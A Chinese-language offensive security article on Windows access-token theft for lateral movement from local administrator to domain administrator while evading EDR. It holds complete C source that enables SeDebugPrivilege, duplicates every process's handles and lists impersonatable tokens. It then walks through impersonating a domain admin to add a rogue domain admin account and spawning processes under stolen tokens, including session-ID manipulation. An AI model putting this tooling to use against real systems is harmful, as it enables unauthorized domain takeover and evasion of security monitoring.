前言
有这样一种场景，拿到了一台主机权限，是本地管理员，同时在这台主机上登录的是域管成员，这时我们可以通过dump lsass或通过 Kerberos TGT ，但是这是非常容易被edr命中的。
本文就通过令牌窃取进行研究，并希望知道其中的具体细节。
通过dump lsass
此时你能够通过dump lsass或者等绕过方式抓取到域管用户的ntlm hash，通过这个hash然后再去pth等方式利用，但在有edr环境中，这是很容易被hunt的。
token list
我们可以获取当前主机上所有的token并列出，因为我们此时拥有本地管理员权限，通过Debug
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "ntdll")#define MAX_USERNAME_LENGTH 256
#define MAX_DOMAINNAME_LENGTH 256
#define FULL_NAME_LENGTH 271
#define TOKEN_TYPE_LENGTH 30
#define COMMAND_LENGTH 1000
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
#define SystemHandleInformation 16
#define SystemHandleInformationSize 1024 * 1024 * 10
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT ProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef enum _POOL_TYPE {
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;
typedef struct _OBJECT_TYPE_INFORMATION {
UNICODE_STRING Name;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG Inis_token_validAttributes;
GENERIC_MAPPING GenericMapping;
ULONG is_token_validAccess;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
USHORT MaintainTypeList;
POOL_TYPE PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
typedef UNICODE_STRING* POBJECT_NAME_INFORMATION;
using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct {
HANDLE token_handle;
int token_id;
wchar_t owner_name[FULL_NAME_LENGTH];
wchar_t user_name[FULL_NAME_LENGTH];
wchar_t TokenType[100];
wchar_t TokenImpersonationLevel[100];
} TOKEN;
void get_token_owner_info(TOKEN* TOKEN_INFO) {
wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];
SID_NAME_USE sid;
DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;
if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, NULL, 0, &token_info)) {
PTOKEN_OWNER TokenStatisticsInformation = (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info);
if (GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, TokenStatisticsInformation, token_info, &token_info)) {
LookupAccountSidW(NULL, ((TOKEN_OWNER*)TokenStatisticsInformation)->Owner, username, &user_length, domain, &domain_length, &sid);
_snwprintf_s(full_name, FULL_NAME_LENGTH, L"%ws/%ws", domain, username);
wcscpy_s(TOKEN_INFO->owner_name, TOKEN_TYPE_LENGTH, full_name);
}
}
}
void get_token_user_info(TOKEN* TOKEN_INFO) {
wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];
DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;
SID_NAME_USE sid;
if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, NULL, 0, &token_info)) {
PTOKEN_USER TokenStatisticsInformation = (PTOKEN_USER)GlobalAlloc(GPTR, token_info);
if (GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, TokenStatisticsInformation, token_info, &token_info)) {
LookupAccountSidW(NULL, ((TOKEN_USER*)TokenStatisticsInformation)->User.Sid, username, &user_length, domain, &domain_length, &sid);
_snwprintf_s(full_name, FULL_NAME_LENGTH, L"%ws/%ws", domain, username);
wcscpy_s(TOKEN_INFO->user_name, TOKEN_TYPE_LENGTH, full_name);
}
}
}
void get_token_security_context(TOKEN* TOKEN_INFO) {
DWORD returned_tokimp_length;
if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length)) {
PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_length);
if (GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length)) {
if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityImpersonation) {
wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityImpersonation");
}
else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityDelegation) {
wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityDelegation");
}
else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityAnonymous) {
wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityAnonymous");
}
else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityIdentification) {
wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityIdentification");
}
}
}
}
void get_token_information(TOKEN* TOKEN_INFO) {
DWORD returned_tokinfo_length;
if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, NULL, 0, &returned_tokinfo_length)) {
PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_length);
if (GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length)) {
if (TokenStatisticsInformation->TokenType == TokenPrimary) {
wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGTH, L"TokenPrimary");
}
else if (TokenStatisticsInformation->TokenType == TokenImpersonation) {
wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGTH, L"TokenImpersonation");
}
}
}
}
LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) {
LPWSTR data = NULL;
DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION)malloc(dwSize);
NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
if ((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)) {
pObjectInfo = (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize);
ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
}
if ((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL)) {
data = (LPWSTR)calloc(pObjectInfo->Length, sizeof(WCHAR));
CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length);
}
free(pObjectInfo);
return data;
}
int wmain(int argc, wchar_t* argv[]) {
HANDLE hToken;
DWORD cbSize;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize);
PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);
GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize);
DWORD integrity_level = (DWORD)*GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
if (integrity_level < SECURITY_MANDATORY_HIGH_RID) {
printf("Low privilege, cannot use the impersonation technique...\n");
return 1;
}
TOKEN_PRIVILEGES tp;
LUID luidSeAssignPrimaryTokenPrivilege;
printf("[?] Enabling SeAssignPrimaryToken\n");
if (LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luidSeAssignPrimaryTokenPrivilege) == 0) {
printf("\t[!] SeAssignPrimaryToken not owned!\n");
}
else {
printf("\t[*] SeAssignPrimaryToken owned!\n");
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luidSeAssignPrimaryTokenPrivilege;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) {
printf("\t[!] SeAssignPrimaryToken adjust token failed: %d\n", GetLastError());
}
else {
printf("\t[*] SeAssignPrimaryToken enabled!\n");
}
LUID luidSeDebugPrivivilege;
printf("[?] Enabling SeDebugPrivilege\n");
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivivilege) == 0) {
printf("\t[!] SeDebugPrivilege not owned!\n");
}
else {
printf("\t[*] SeDebugPrivilege owned!\n");
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luidSeDebugPrivivilege;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) {
printf("\t[!] SeDebugPrivilege adjust token failed: %d\n", GetLastError());
}
else {
printf("\t[*] SeDebugPrivilege enabled!\n");
}
CloseHandle(hProcess);
CloseHandle(hToken);
ULONG returnLenght = 0;
TOKEN found_tokens[100];
int nbrsfoundtokens = 0;
fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
for (DWORD i = 0; i < handleTableInformation->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId);
if (process == INVALID_HANDLE_VALUE) {
CloseHandle(process);
continue;
}
HANDLE dupHandle;
if (DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) == 0) {
CloseHandle(process);
continue;
}
POBJECT_TYPE_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(8192);
if (wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), L"Token")) {
CloseHandle(process);
CloseHandle(dupHandle);
continue;
}
TOKEN TOKEN_INFO;
TOKEN_INFO.token_handle = dupHandle;
get_token_owner_info(&TOKEN_INFO);
get_token_user_info(&TOKEN_INFO);
get_token_information(&TOKEN_INFO);
if (wcscmp(TOKEN_INFO.TokenType, L"TokenPrimary") != 0) {
get_token_security_context(&TOKEN_INFO);
}
else {
wcscpy_s(TOKEN_INFO.TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L" ");
}
int is_new_token = 0;
for (int j = 0; j <= nbrsfoundtokens; j++) {
if (wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) == 0 && wcscmp(found_tokens[j].TokenType, TOKEN_INFO.TokenType) == 0 && wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) == 0) {
is_new_token = 1;
}
}
if (is_new_token == 0) {
TOKEN_INFO.token_id = nbrsfoundtokens;
found_tokens[nbrsfoundtokens] = TOKEN_INFO;
nbrsfoundtokens += 1;
}
CloseHandle(process);
}
printf("\n[*] Listing available tokens\n");
for (int k = 0; k < nbrsfoundtokens; k++) {
printf("[ID: %d][%ws][%ws] Owner: %ws User: %ws\n", found_tokens[k].token_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].owner_name, found_tokens[k].user_name);
}
return 0;
}
由二进制文件本身生成的令牌 ID，用于标识令牌 指示令牌是主令牌还是模拟令牌的令牌类型 令牌的安全上下文，如果令牌是模拟令牌（这就是此字段对于主要令牌为空的原因）。有四种不同的值指示用户是否经过身份验证，是否可以模拟他们以及如何： SecurityAnonymous：该进程无法识别系统上的用户，因此无法模拟他们（大多数相关线程是在使用匿名绑定进行非交互式日志记录后获得的） SecurityIdentification：该进程可以识别系统上的用户但不能模拟他们 SecurityImpersonate：用户已通过身份验证，可以在本地系统上模拟 SecurityDelegation：用户已通过身份验证，可以在本地系统和远程系统上进行模拟 令牌的所有者，创建它的人 令牌关联的用户
可使用DuplicateTokenEx去复制一个令牌
BOOL DuplicateTokenEx(
[in] HANDLE hExistingToken,
[in] DWORD dwDesiredAccess,
[in, optional] LPSECURITY_ATTRIBUTES lpTokenAttributes,
[in] SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
[in] TOKEN_TYPE TokenType,
[out] PHANDLE phNewToken
);
通过DuplicateTokenEx去复制一个令牌后，有如下三种方式去模拟登录或创建进程
使用 ImpersonateLoggedOnUser函数创建新进程使用 CreateProcessAsUser或者CreateProcessWithToken使用 LogonUser函数
其中logonuser需要我们提供账号密码，我们不使用他
ImpersonateLoggedOnUser
BOOL ImpersonateLoggedOnUser(
[in] HANDLE hToken
);
可以直接将复制域管权限的令牌传入，在执行RevertToSelf函数之前都会以模拟令牌的权限进行运行
假设我们此时模拟了域管权限，即可添加一个域内账户（域管账户）
这个代码实际就是通过ImpersonateLoggedOnUser模拟了用户，然后调用NetUserAdd和NetGroupAddUser来添加用户（ps：不做处理的话360肯定会被拦截）
CreateProcessAsUserW&CreateProcessWithTokenW
CreateProcessAsUserW：
BOOL CreateProcessAsUserW(
HANDLE hToken, // Handle of the duplicated token
LPCWSTR lpApplicationName, // Name of the binary to launch
LPWSTR lpCommandLine, // Complementary parameters
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
CreateProcessWithTokenW：
BOOL CreateProcessWithTokenW(
HANDLE hToken, // Handle of the duplicated token
DWORD dwLogonFlags,
LPCWSTR lpApplicationName, // Name of the binary to launch
LPWSTR lpCommandLine, // Complementary parameters
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
使用CreateProcessWithTokenW或者CreateProcessAsUserW可以以令牌创建进程。
假设我们模拟nt authority\system执行
再模拟域管权限创建进程。
这时可以看到是一个黑窗，实际上这是跟session有关。
本地管理员和域管实际上是两个完全隔离的session。
我们复制的token为session 2的token，然后此时如果调用CreateProcessWithTokenW，会以session 2来创建图形化界面，而此时我们当前进程的在session 1中，不符合所以崩溃了。
要获取当前进程的session id，可以使用winapi ProcessIdToSessionId
0环也有一个结构体中存储这对应的session id的值，_Token结构体
要更改复制的token的session id，我们可以通过SetTokenInformation去修改。
BOOL SetTokenInformation(
[in] HANDLE TokenHandle,
[in] TOKEN_INFORMATION_CLASS TokenInformationClass,
[in] LPVOID TokenInformation,
[in] DWORD TokenInformationLength
);
但使用该函数修改不属于我们自己的进程必须拥有高权限才能使用，至少是拥有SeTCBPrivilege权限。
但此时我们可以模拟c账户，所以是可行的。
首先提升到NT AUTHORITY\SYSTEM账户，这里的NT AUTHORITY\SYSTEM必须是session 0的，可模拟的的token。
然后可以通过新起的cmd，来模拟域管的权限。
这里考虑到如果没有图形化权限（主要是为了契合一些远程执行工具，如psexec wmiexec winrm），可以使用CreateProcessAsUserW，它的回显将会在当前窗口下，而不会新起一个窗口。
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